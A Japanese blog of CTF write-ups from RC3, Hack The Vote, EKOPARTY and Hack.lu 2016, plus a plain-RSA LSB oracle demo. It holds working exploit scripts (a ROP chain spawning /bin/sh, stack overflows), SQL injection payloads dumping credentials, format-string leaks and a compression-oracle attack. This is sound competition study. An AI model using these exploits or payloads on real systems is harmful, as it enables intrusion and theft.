    sendline(s, '3')
    recvuntil(s, 'Enter the index of the product you wish to view: ')
    sendline(s, str(index))
    data = recvuntil(s, 'There ')[:-6]
    recvuntil(s, 'IMS\n')
    return data

def do_exit(s):
    recvuntil(s, 'Choose: ')
    sendline(s, '4')

#s = connect_process(['./IMS-hard'])
s = socket.create_connection(('ims.ctf.rc3.club', 8888))

# leak canary
data = view_record(s, 5)
m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data)
if m:
    canary = int(m.group(1))
    print "[+] canary = %x" % canary

# leak libc address
data = view_record(s, 7)
m = re.search(r'Product ID: ([^,]*), Product Code: (.*)', data)
if m:
    saved_ebp = int(m.group(1)) % 0x100000000
    print "[+] saved_ebp = %x" % saved_ebp
    data = m.group(2)
    addr_libc = u32(data[:4])
    print "[+] addr_libc = %x" % addr_libc

# put canary on stack
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')
add_record(s, canary, 'BBBBCCCC')
add_record(s, 0x41414141, 'BBBBCCCC')

# overwrite eip
dump = open('dump.bin').read()

addr_ret = 0x80484d2
offset_binsh = dump.index('/bin/sh\x00')
offset_pop_eax = dump.index('\x58\xc3')
offset_pop_ebx = dump.index('\x5b\xc3')
offset_pop_ecx_edx = dump.index('\x59\x5a\xc3')
offset_int80 = dump.index('\xcd\x80')
print "[+] offset_binsh = %x" % offset_binsh
print "[+] offset_pop_eax = %x" % offset_pop_eax
print "[+] offset_pop_ebx = %x" % offset_pop_ebx
print "[+] offset_pop_ecx_edx = %x" % offset_pop_ecx_edx
print "[+] offset_int80 = %x" % offset_int80

buf = p32(addr_libc + offset_pop_eax) + p32(11)
buf += p32(addr_libc + offset_pop_ebx) + p32(addr_libc + offset_binsh)
buf += p32(addr_ret)
buf += p32(addr_libc + offset_pop_ecx_edx) + p32(0) + p32(0)
buf += p32(addr_libc + offset_int80)

add_record(s, u32(buf[8:12]), buf[:8])
add_record(s, u32(buf[20:24]), buf[12:20])
add_record(s, u32(buf[32:36]), buf[24:32])

do_exit(s)

print '[+] got a shell'
interact(s)

起動したシェルから問題文に与えられたファイルを読み出すとflagが得られる。

$ python test2.py
[+] canary = -15d07300
[+] saved_ebp = ff84df44
[+] addr_libc = f757ead3
[+] offset_binsh = 143fb9
[+] offset_pop_eax = ab55
[+] offset_pop_ebx = 10d
[+] offset_pop_ecx_edx = 14748
[+] offset_int80 = 14a12
[+] got a shell
id
uid=1001(IMS-hard) gid=1001(IMS-hard) groups=1001(IMS-hard)
cat /home/IMS-hard/flag.txt
RC3-2016-SAVAGE-1337HAX-BRO

所感

他に解きたかった問題は以下。

  • Bridge of Cyber (Misc 200)
  • "Just joking," Joker joked! (Web 200)
  • Some Pang (Forensics 50)
  • FLE (Reversing 200)
  • GoReverseMe (Reversing 250)

関連リンク

plain RSAに対するLSB decryption oracle attackをやってみる

「RSAに対する適応的選択暗号文攻撃とパディング方式」では、パディングなしのRSA(plain RSA)が選択暗号文攻撃に対して安全でない、つまり任意の暗号文を復号した結果を得られるとき、与えられた暗号文を直接復号することなく平文が得られることについて確認した。 一方、復号した結果の最下位ビットのみが得られるときについても、暗号文に対応する平文が求められることが知られている(LSB decryption oracle attack)。 ここでは、plain RSAに対してLSB decryption oracle attackを行い、平文が得られることを確認してみる。

LSB decryption oracle attack

LSB decryption oracle attackは、任意の暗号文を復号した結果の最下位ビットを得ることができるとき、与えられた暗号文に対応する平文を求める攻撃である。

RSAの公開鍵n, e、与えられた暗号文c、これに対応する平文mについて、次のような性質が成り立つ。

  • (2^e)*c = (2*m)^e (mod n) を復号した結果の 2*m (mod n) について、最下位ビットが1であれば2*m > n、0であれば2*m <= n
    • nは奇数、かつ2*m < 2*nであるから、2*m (mod n) が奇数であれば2*m > n、偶数であれば2*m <= nとなる

これを言い換えると「最下位ビットが1であればn/2 < m < n、0であれば0 <= m <= n/2」となり、mの範囲を半分に絞ることができる。 同様に、(2^e)*(2^e)*cを復号した結果の最下位ビットからこの範囲をさらに半分に絞ることができ、これを繰り返して二分探索を行うことでmを求めることができる。

実際にコードを書くと、次のようになる。

# lsb_decryption_oracle.py
from fractions import Fraction

def lsb_decryption_oracle(c, decrypt_lsb):
    bounds = [0, Fraction(n)]

    i = 0
    while True:
        print i
        i += 1

        c2 = (c * pow(2, e, n)) % n
        lsb = decrypt_lsb(c2)
        if lsb == 1:
            bounds[0] = sum(bounds)/2
        else:
            bounds[1] = sum(bounds)/2
        diff = bounds[1] - bounds[0]
        diff = diff.numerator / diff.denominator
        if diff == 0:
            m = bounds[1].numerator / bounds[1].denominator
            return m
        c = c2

n = 0x00c1e6ad543efcdd3cc8e6cafa580cd3b875a96a8bfdf87e207cddd333f120bce34fc1e1c7893f69065370d47d63c5e52bd342ad34f9b6d326a76c77cf21b6a299953825042f1a57a4886df800a868f5e301725b6ff957382f100375bef368250908192b3be2015d6284eb07cc492321452a74f664d2fe317c2651e306d69e5a7d0fb88bad26878b7bc82b836e5a23f336c3a30ad161c5769e4429ef6ac6803f217b015de4c1251fac8f92f1bafa5fa36573a0dddb8b5b1a5c39ff162c8aaca32a7a3fa872d3565b781cca4dc3e0e095d884c97032e4e3f3f3a31788d110b1d9ab60e39c6ad6742d9460be8432fe33a6b506473acaef8badb88ab74a3fa79bfa61
e = 65537

def decrypt_lsb(c):
    d = 0x00c087fe7f7273be71c6c273b5948c580606bf0c0ea9457e675fd51b0bae57e576881169d0a9550f41bac48419656270a5cd859d5ac6c1647433361ed8cb0efff1241bb595abf7aa22b35d0e2e090aff6c42597cb5788dc439e6daa8a5cc2712ef1edd6ef26cfd11eeeb303c73fa0329dbf5c66189c77fa33f350586399a0d6ea698e9b59b7a6434672e247d96c0d5a6f70d8bd403c9b59e4c25cf9208f3a56920837d817ca3dde1f456c7b5a568f1f4802777a58e93308a94826c9a1e19bfce23c715937b7a47d4200150f2af0e5163e130ecdd0ad89062c7356cb5b3a3dc0b9f2de73b1f40bcc93b40b31ba1e46055336d782826e4955242bb0b23a4a5e90001
    m = pow(c, d, n)
    return m % 2

m = 1234567890123456789012345678901234567890
c = pow(m, e, n)

print lsb_decryption_oracle(c, decrypt_lsb)

decrypt_lsb関数は、暗号文を復号し、その結果の最下位ビットを返す関数である。 また、上のコードでは、切り捨て誤差をなくすためfractionsモジュールで有理数演算を行っている。

このコードを実行すると、次のようになる。

$ python lsb_decryption_oracle.py
0
1
2
3
4
(snip)
2044
2045
2046
2047
1234567890123456789012345678901234567890

上の結果から、Nのビット数の回数だけ二分探索を繰り返した後、与えられた暗号文に対応する平文が得られていることが確認できる。

関連リンク

Hack The Vote 2016 供養(Writeup)

Hack The Vote 2016に参加。251ptで244位。

Sanity (Vote 1)

サービス問題。

The flag is flag{th3r3_1s_0nly_on3_ch0ic3}

TOPKEK (Crypto 50)

次のようなテキストファイルが与えられる。

$ cat kek.43319559636b94db1c945834340b65d68f90b6ecbb70925f7b24f6efc5c2524e.txt
KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP!! KEK!!! TOP!! KEK!!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP!!!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!!!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK!!!!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP! KEK!! TOP! KEK!!!! TOP!!! KEK! TOP! KEK!!! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP!!! KEK!!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK!! TOP! KEK!!! TOP!! KEK!! TOP!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!!!! KEK!! TOP! KEK!! TOP!! KEK!!!!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP!!! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK! TOP!!!!! KEK! TOP!

KEKを0、TOPを1とし、!の数だけその数字が繰り返されるものとして2進数で表し、さらに16進に直すとFlagが得られる。

data = open('kek.43319559636b94db1c945834340b65d68f90b6ecbb70925f7b24f6efc5c2524e.txt').read()
s = ''
for word in data.split():
    if 'KEK' in word:
        c = '0'
    else:
        c = '1'
    s += c * (len(word)-3)
s = "%x" % int(s, 2)
print s.decode('hex')

Consul (Reversing 100)

関数c8で文字列bの各バイトに変数memの値を足したものを出力している。

.text:0000000000400A09                 public c8
.text:0000000000400A09 c8              proc near
.text:0000000000400A09                 push    rbp
.text:0000000000400A0A                 mov     rbp, rsp
.text:0000000000400A0D                 mov     eax, cs:mem
.text:0000000000400A13                 add     eax, 9
.text:0000000000400A16                 mov     cs:mem, eax
.text:0000000000400A1C                 mov     edi, offset b
.text:0000000000400A21                 call    add_mem
.text:0000000000400A26                 mov     rsi, rax
.text:0000000000400A29                 mov     edi, offset format ; "%s\r\n"
.text:0000000000400A2E                 mov     eax, 0
.text:0000000000400A33                 call    _printf
.text:0000000000400A38                 pop     rbp
.text:0000000000400A39                 retn
.text:0000000000400A39 c8              endp
0000000000601280  26 2C 21 27 3B 37 32 29  34 25 1F 29 2E 1F 22 25  &,!';72)4%.).."%
0000000000601290  32 2E 29 25 E1 3D 00 00  00 00 00 00 00 00 00 00  2.)%.=..........

26 2C 21 2766 6C 61 67 (flag)になると推測して、各バイトに0x40を足してみるとflagが得られた。

$ python
Python 2.7.12 (default, Jul  1 2016, 15:12:24)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> x = """26 2C 21 27 3B 37 32 29  34 25 1F 29 2E 1F 22 25
... 32 2E 29 25 E1 3D"""
>>> x = x.replace('\n', '').replace(' ', '').decode('hex')
>>> ''.join(chr((ord(c)+0x40) % 0x100) for c in x)
'flag{write_in_bernie!}'

IRS (Exploitation 100)

Editを選んだ後y/nを聞かれる箇所でgets関数が使われており、スタックバッファオーバーフロー脆弱性がある。

.text:080488FD 68 BE 92 04 08                    push    offset aYN      ; "y/n\r"
.text:08048902 E8 F1 FB FF FF                    call    puts
.text:08048907 83 C4 10                          add     esp, 10h
.text:0804890A 83 EC 0C                          sub     esp, 0Ch
.text:0804890D 8D 45 EB                          lea     eax, [ebp+s]
.text:08048910 50                                push    eax             ; s
.text:08048911 E8 C2 FB FF FF                    call    gets

ヒントを参考に、文字列not_the_flagをセットしている箇所のコードを出力させることでFlagが得られる。

Hint: not_the_flag will actually be the flag on the server

from minipwn import *

def menu_file(s, name, password, income, deductible):
    print s.recv(8192)
    sendline(s, '1')
    print recvuntil(s, ': ')
    sendline(s, name)
    print recvuntil(s, ': ')
    sendline(s, password)
    print recvuntil(s, ': ')
    sendline(s, str(income))
    print recvuntil(s, ': ')
    sendline(s, str(deductible))
    print recvuntil(s, '!\r\n')

def menu_edit(s, name, password, income, deductible, yorn):
    print s.recv(8192)
    sendline(s, '3')
    print recvuntil(s, ': ')
    sendline(s, name)
    print recvuntil(s, ': ')
    sendline(s, password)
    print recvuntil(s, ': ')
    sendline(s, str(income))
    print recvuntil(s, ': ')
    sendline(s, str(deductible))
    print recvuntil(s, 'y/n\r\n')
    sendline(s, yorn)
    print recvuntil(s, '!\r\n')

#s = connect_process(['./irs.4ded467171bb532f7dba8e8fe42a1fc121aa1498a3f1748064755e2566593360'])
s = socket.create_connection(('irs.pwn.republican', 4127))
raw_input()
menu_file(s, 'AAAA', 'BBBB', 100, 100)

plt_puts = 0x80484F8
addr_text = 0x8048AC2

buf = 'A' * 25
buf += p32(plt_puts) + 'AAAA' + p32(addr_text)

menu_edit(s, 'AAAA', 'BBBB', 100, 100, buf)
data = s.recv(8192)
print "%r" % data
$ python test.py

Welcome to the IRS!
How may we serve you today?
1. File a tax return
2. Delete a tax return
3. Edit a tax return
4. View a tax return
5. Exit

Tax returns on file:
0 - Donald Trump

Enter the name:
Enter the password:
Enter the income:
Enter the deductions:
Thank you for doing your civic duty AAAA!

Welcome to the IRS!
How may we serve you today?
1. File a tax return
2. Delete a tax return
3. Edit a tax return
4. View a tax return
5. Exit

Tax returns on file:
0 - Donald Trump
1 - AAAA

Enter the name of the file to edit:
Enter the password:
Enter the new income:
Enter the new deductible:
Is this correct?
Income: 100
Deductible: 100
y/n

Your changes have been recorded!

'flag\xc7@\x04{c4n\xc7@\x08_1_g\xc7@\x0c3t_a\xc7@\x10_r3f\xc7@\x14und}\x8bE\xf0\xc7@d\xff\x9frN\x8bE\xf0\xc7@h\xff\x9frN\x8bE\xf0\x89E\xd0\x83\xec\x0c\x8dE\xd0P\xe8,\xfb\xff\xff\x83\xc4\x10\xa1 \xb0\x04\x08\x83\xec\x04Pj\x03\x8dE\xe5P\xe8\xc2\xf9\xff\xff\x83\xc4\x10\x83\xec\x04j2j\n'

$ echo -en 'flag\xc7@\x04{c4n\xc7@\x08_1_g\xc7@\x0c3t_a\xc7@\x10_r3f\xc7@\x14und}\x8bE\xf0\xc7@d\xff\x9frN\x8bE\xf0\xc7@h\xff\x9frN\x8bE\xf0\x89E\xd0\x83\xec\x0c\x8dE\xd0P\xe8,\xfb\xff\xff\x83\xc4\x10\xa1 \xb0\x04\x08\x83\xec\x04Pj\x03\x8dE\xe5P\xe8\xc2\xf9\xff\xff\x83\xc4\x10\x83\xec\x04j2j\n' | strings | tr -d '\n'
flag{c4n_1_g3t_a_r3fund}

所感

他に解きたかった問題は以下。

関連リンク

EKOPARTY CTF 2016 供養(Writeup)

EKOPARTY CTF 2016に参加。575ptで182位。

Hidden inside EKO (misc, 50 points)

背景画像にFlagが書かれている。

EKO{th3_fl4g}

Mr. Robot (web, 25 points)

robots.txtにFlagの書かれたファイルへのパスがある。

EKO{robot_is_following_us}

RFC 7230 (web, 50 points)

ServerレスポンスヘッダにFlagがある。

$ curl -v https://ctf.ekoparty.org/static/files/for50_ed4b8625b6be1bd0.zip
*   Trying 52.204.197.190...
* Connected to ctf.ekoparty.org (52.204.197.190) port 443 (#0)
* found 173 certificates in /etc/ssl/certs/ca-certificates.crt
* found 692 certificates in /etc/ssl/certs
* ALPN, offering http/1.1
* SSL connection using TLS1.2 / ECDHE_RSA_AES_256_GCM_SHA384
*        server certificate verification OK
*        server certificate status verification SKIPPED
*        common name: ctf.ekoparty.org (matched)
*        server certificate expiration date OK
*        server certificate activation date OK
*        certificate public key: RSA
*        certificate version: #3
*        subject: CN=ctf.ekoparty.org
*        start date: Thu, 08 Sep 2016 22:26:00 GMT
*        expire date: Wed, 07 Dec 2016 22:26:00 GMT
*        issuer: C=US,O=Let's Encrypt,CN=Let's Encrypt Authority X3
*        compression: NULL
* ALPN, server accepted to use http/1.1
> GET /static/files/for50_ed4b8625b6be1bd0.zip HTTP/1.1
> Host: ctf.ekoparty.org
> User-Agent: curl/7.47.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: EKO{this_is_my_great_server}
< Date: Thu, 27 Oct 2016 23:36:39 GMT
< Content-Type: application/zip
< Content-Length: 20684
< Last-Modified: Tue, 25 Oct 2016 04:08:43 GMT
< Connection: keep-alive
< ETag: "580edacb-50cc"
< X-Frame-Options: SAMEORIGIN
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Strict-Transport-Security: max-age=63072000; preload
< Accept-Ranges: bytes
<

Super duper advanced attack (web, 100 points)

SQL injection問題。ユーザ定義変数にFlagがある。

' OR 1=1 --
' UNION SELECT table_name, column_name FROM information_schema.columns --
' UNION SELECT username, password FROM users --
' UNION SELECT @flag, @flag --
EKO{do_not_forget_session_variables}

Welcome to the dark side (fbi, 25 points)

Tor Browserで与えられたonionドメインにアクセスすると、HTMLソースコードにFlagがある。

<!-- 25 - EKO{buy_me_some_b0ts} -->

Metadata (fbi, 50 points)

アクセスしたonionドメインTLS証明書を見ると、subjectのOU(部門)にFlagがある。

50 - EKO{is_this_just_real_life_is_this_just_fantasy}

JVM (rev, 25 points)

JADデコンパイルする。1336までの総和がFlag。

user@vm-kali32:~$ unzip rev25_3100aa76fca4432f.zip
Archive:  rev25_3100aa76fca4432f.zip
  inflating: EKO.class

user@vm-kali32:~$ jad EKO.class
Parsing EKO.class...The class file version is 52.0 (only 45.3, 46.0 and 47.0 are supported)
 Generating EKO.jad
user@vm-kali32:~$ cat EKO.jad
// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3)
// Source File Name:   EKO.java


public class EKO
{

    public EKO()
    {
    }

    public static void main(String args[])
    {
        int i = 0;
        for(int j = 0; j < 1337; j++)
            i += j;

        String s = (new StringBuilder()).append("EKO{").append(i).append("}").toString();
    }
}

user@vm-kali32:~$ python
Python 2.7.9 (default, Mar  1 2015, 12:57:24)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> sum(xrange(1337))
893116
EKO{893116}

F#ck (rev, 50 points)

F#で書かれた.NET形式実行ファイル。ILSpyでデコンパイルすると次のようなコードがある。

using Microsoft.FSharp.Core;
using System;
using System.Globalization;
using System.IO;

[CompilationMapping(SourceConstructFlags.Module)]
public static class Program
{
    [Serializable]
    internal class teArr@9 : FSharpFunc<int, string>
    {
        public string str;

        public int[] ccIndices;

        internal teArr@9(string str, int[] ccIndices)
        {
            this.str = str;
            this.ccIndices = ccIndices;
        }

        public override string Invoke(int i)
        {
            if (i == this.ccIndices.Length - 1)
            {
                return this.str.Substring(i);
            }
            int num = this.ccIndices[i];
            return this.str.Substring(num, this.ccIndices[i + 1] - num);
        }
    }

    public static string get_flag(string str)
    {
        int[] array = StringInfo.ParseCombiningCharacters(str);
        int num = array.Length;
        FSharpFunc<int, string> fSharpFunc = new Program.teArr@9(str, array);
        if (num < 0)
        {
            Operators.Raise<Unit>(new ArgumentException(LanguagePrimitives.ErrorStrings.InputMustBeNonNegativeString, "count"));
        }
        string[] array2 = new string[num];
        int num2 = 0;
        int num3 = num - 1;
        if (num3 >= num2)
        {
            do
            {
                array2[num2] = fSharpFunc.Invoke(num2);
                num2++;
            }
            while (num2 != num3 + 1);
        }
        string[] array3 = array2;
        Array.Reverse(array3);
        return string.Join("", array3);
    }

    [EntryPoint]
    public static int main(string[] argv)
    {
        if (argv.Length != 1)
        {
            ExtraTopLevelOperators.PrintFormatLine<Unit>(new PrintfFormat<Unit, TextWriter, Unit, Unit, Unit>("Usage: FlagGenerator.exe <FLAG>"));
        }
        else
        {
            string text = Program.get_flag("t#hs_siht_kc#f");
            if (string.Equals(text, argv[0]))
            {
                FSharpFunc<string, Unit> fSharpFunc = ExtraTopLevelOperators.PrintFormatLine<FSharpFunc<string, Unit>>(new PrintfFormat<FSharpFunc<string, Unit>, TextWriter, Unit, Unit, string>("EKO{%s}"));
                string func = text;
                fSharpFunc.Invoke(func);
            }
            else
            {
                ExtraTopLevelOperators.PrintFormatLine<Unit>(new PrintfFormat<Unit, TextWriter, Unit, Unit, Unit>("BAD ANSWER"));
            }
        }
        return 0;
    }
}

文字列を逆順に並び換えたものがFlag。

$ python
Python 2.7.12 (default, Jul  1 2016, 15:12:24)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 't#hs_siht_kc#f'[::-1]
'f#ck_this_sh#t'
EKO{f#ck_this_sh#t}

RrEeGgEeXx (rev, 75 points)

.NET形式実行ファイル。ILSpyでデコンパイルすると次のような正規表現チェックがあり、これを満たす文字列がFlag。

if (Program.check_regex("^.{40}$", input) && Program.check_regex("\\w{3}\\{.*\\}", input) && Program.check_regex("_s.*e_", input) && Program.check_regex("\\{o{2}O{2}o{2}", input) && Program.check_regex("O{2}o{2}O{2}\\}", input) && Program.check_regex("sup3r_r3g3x_challenge", input))
EKO{ooOOoo_sup3r_r3g3x_challenge_OOooOO}

Ultra baby (pwn, 25 points)

スタックバッファオーバーフロー脆弱性がある。Partial overwriteでリターンアドレスをFlag関数の先頭に書き換える。

from minipwn import *

#s = connect_process(['./ultrababy'])
s = socket.create_connection(('9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site', 55000))
print s.recv(8192)
s.sendall('A' * 0x18 + '\xf3' + '\n')
print s.recv(8192)
interact(s)
$ python test.py
Welcome, give me you best shot

EKO{Welcome_to_pwning_challs_2k16}

*** Connection closed by remote host ***

My first service I (pwn, 100 points)

Format string bugがある。次のようにしてスタック上のFlagが読める。

$ nc 9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site 35000
Welcome to my first service
Please input the secret key: %p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
Invalid key: (nil).0xa.(nil).(nil).(nil).0xa.(nil).0x454b4f7b.0x4c614269.0x67426566.0x3072647d.(nil).0x25702e25.0x702e2570.0x2e25702e.0x25702e25.0x702e2570.0x2e25702e.0x25702e25.0x702e2570.
$ python
Python 2.7.12 (default, Jul  1 2016, 15:12:24)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> "454b4f7b4c614269674265663072647d".decode('hex')
'EKO{LaBigBef0rd}'

所感

他に解きたかった問題は以下。

  • Congested service (misc, 100 points)
    • DCCPで接続する問題
  • X-Flag (misc, 150 points)
    • TCP 6000でX11パケットが飛んでくる問題
  • Carder (web, 150 points)
  • Url shortener (web, 200 points)
  • Find me (fbi, 100 points)
  • Secure Upload Hidden Service (fbi, 200 points)
  • Old times (rev, 100 points)
    • IBM OS/400 save file data(拡張子SAVF)を読む問題
  • Fuckzing reverse (rev, 250 points)
  • Bleeding (pwn, 50 points)
  • My first service II (pwn, 300 points)
  • Certified Excel Hacker (for, 50 points)
    • パスワード付きのVBAマクロを読む問題 隠しシートがあったらしい
  • Damaged (for, 75 points)
    • 破損したbmpファイルを読む問題

関連リンク

Hack.lu CTF 2016 供養(Writeup)

Hack.lu CTF 2016に参加。594ptで66位。

simplepdf (Programming 150 (- 52))

注釈に添付ファイルがついており、これを抽出すると同じようなPDFがまた出てくる。 抽出を10003回繰り返すとflagが得られる。

import zlib
import re

with open('simplepdf_f8004a3ad0acde31c40267b9856e63fc.pdf', 'rb') as f:
    data = f.read()

n = 0
while True:
    n += 1
    print n

    m = re.search(r'/Length (\d+)\n', data)
    if not m:
        break
    num = int(m.group(1))
    data = data[m.end():]
    idx = data.index('\nstream\n')
    data = data[idx+8:]
    data = data[:num]

    data = zlib.decompress(data)

    print len(data)
    print "%r" % data[:0x10]

with open('s.pdf', 'wb') as f:
    f.write(data)
flag{pdf_packing_is_fun}

cryptolocker (Crypto 200 (- 52))

8文字のkeyを2文字ずつ4個に分け、それぞれSHA-256にかけたものをkeyとして4回暗号化している。 2文字ずつブルートフォースで復号し、パディングが長いものを正しいkeyとして特定していく。 得られたkeyで復号するとodtファイルが得られる。

#!/usr/bin/env python3
import sys
import hashlib
from AESCipher import *

def checkpad(s):
    c = s[-1]
    pad = s[-ord(c):]
    if all(x == c for x in pad):
        return pad
    else:
        return ''

if __name__ == "__main__":
    filename = "flag.encrypted"
    ciphertext = open(filename, "rb").read()

    seed = '4D'
    key = hashlib.sha256(seed).digest()
    cipher = AESCipher(key)
    ciphertext = AESCipher._unpad(cipher.decrypt(ciphertext))

    seed = 'WH'
    key = hashlib.sha256(seed).digest()
    cipher = AESCipher(key)
    ciphertext = AESCipher._unpad(cipher.decrypt(ciphertext))

    seed = '52'
    key = hashlib.sha256(seed).digest()
    cipher = AESCipher(key)
    ciphertext = AESCipher._unpad(cipher.decrypt(ciphertext))

    seed = 'Sg'
    key = hashlib.sha256(seed).digest()
    cipher = AESCipher(key)
    ciphertext = AESCipher._unpad(cipher.decrypt(ciphertext))

    with open('plaintext.bin', 'wb') as f:
        f.write(ciphertext)
    sys.exit(0)

    for i in xrange(0x20, 0x7f):
        for j in xrange(0x20, 0x7f):
            seed = chr(i) + chr(j)
            key = hashlib.sha256(seed).digest()
            cipher = AESCipher(key)
            plaintext = cipher.decrypt(ciphertext)
            pad = checkpad(plaintext)
            if pad:
                print "%r: %r" % (pad, seed)
$ file plaintext.bin
plaintext.bin: OpenDocument Text
flag{v3ry_b4d_crypt0_l0ck3r}

cornelius1 (Crypto 200 (- 29))

入力値がflagと合わせてdeflateで圧縮されて返ってくる。 同じ部分文字列が複数あると圧縮後のサイズが小さくなることをもとに、一文字ずつ特定する(CRIME / compression oracle attack)。

import urllib2
import string

user = "flag:"
while True:
    max_length = None
    for c in '.0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!?_':
        print c
        user2 = user + c
        url = "https://cthulhu.fluxfingers.net:1505/?user=" + (user2 * 100)
        f = urllib2.urlopen(url)
        cookie = f.headers['Set-Cookie']
        secret = cookie[5:].decode('base64')
        length = len(secret)
        if max_length is None:
            max_length = length
        elif length < max_length:
            user += c
            print user
            break
    else:
        break
flag:Mu7aichede

redacted (Crypto 200 (- 23))

一部が伏せられたPEM鍵が与えられる。 鍵の長さからRSA 2048-bitであることがわかるので、適当に生成した鍵で伏せられた部分を埋めてdiffを取るとp、q、eが伏せられずに入っている。 これをもとに、rsatoolで改めて鍵を生成する。

$ diff -u reference.txt problem.txt
--- reference.txt       2016-10-19 22:18:03.911305046 +0900
+++ problem.txt 2016-10-19 22:17:52.591296990 +0900
@@ -1,90 +1,90 @@
 Private-Key: (2048 bit)
 modulus:
     00:a5:3b:05:f6:3a:6c:dd:5e:34:84:9e:18:ff:5c:
-    88:1c:21:47:c2:10:57:bd:d3:a9:78:ce:13:73:63:
-    6c:bc:35:45:c3:7b:55:45:14:a1:76:b3:19:9b:87:
-    5d:34:98:df:78:b2:ad:47:82:0c:14:fc:97:f0:6a:
-    56:6b:ff:ee:dd:19:c0:21:a6:ba:14:1b:24:85:5b:
-    70:f5:5c:ab:b0:fe:15:7d:5c:3a:c9:97:42:82:0d:
-    38:20:81:16:59:5b:77:35:23:e3:26:86:eb:36:55:
-    67:eb:3a:0c:30:d9:03:04:27:6d:07:d1:36:3f:de:
-    a6:52:64:cb:d2:cd:b0:52:1e:7d:55:f3:9d:28:3c:
-    2d:41:f4:f0:29:7f:ab:b3:67:d1:93:ea:dc:f9:e4:
-    64:12:cf:47:0a:a5:5c:e9:7e:a8:7b:f6:3a:9a:05:
-    2c:a1:b1:45:16:9f:6b:fc:6e:e2:fb:c7:87:dd:ae:
-    ed:58:8e:e7:e0:16:fe:1a:58:12:99:2b:c2:ef:3d:
-    c2:52:4a:30:85:db:e0:d1:4a:d0:16:db:bf:ad:08:
-    38:3d:52:2c:f2:a7:13:10:5e:f8:ce:ec:0c:e1:68:
-    98:11:28:20:b3:4c:8c:5e:0e:75:dc:7f:53:11:20:
-    1a:81:68:75:e6:12:ba:dd:c8:4f:7e:db:20:4b:93:
-    a4:25
+    88:ff:4a:9c:d7:8e:94:5d:76:e9:78:ce:13:73:63:
+    6c:bc:35:45:c1:67:bd:01:1d:64:3b:33:19:9b:87:
+    5d:34:98:df:78:b2:ad:47:82:0c:14:fc:97:f0:c4:
+    92:0b:ff:ee:dd:19:c0:21:a6:ba:14:1b:24:87:c7:
+    02:a2:f2:1c:00:e6:71:14:46:85:72:36:b5:c3:11:
+    06:e4:c1:d3:ee:5b:d7:c7:85:34:2a:ad:b6:a7:d1:
+    76:df:7e:dc:b7:ce:1d:78:df:e9:92:85:7e:1a:34:
+    73:07:56:18:6c:a4:c2:00:de:c2:a9:7f:33:b3:6c:
+    78:9f:d7:bb:58:66:fb:d6:8e:83:d8:23:ea:e6:4c:
